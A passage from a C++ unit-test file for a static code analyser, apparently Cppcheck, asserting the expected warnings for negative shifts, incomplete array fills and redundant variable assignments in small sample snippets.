foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer 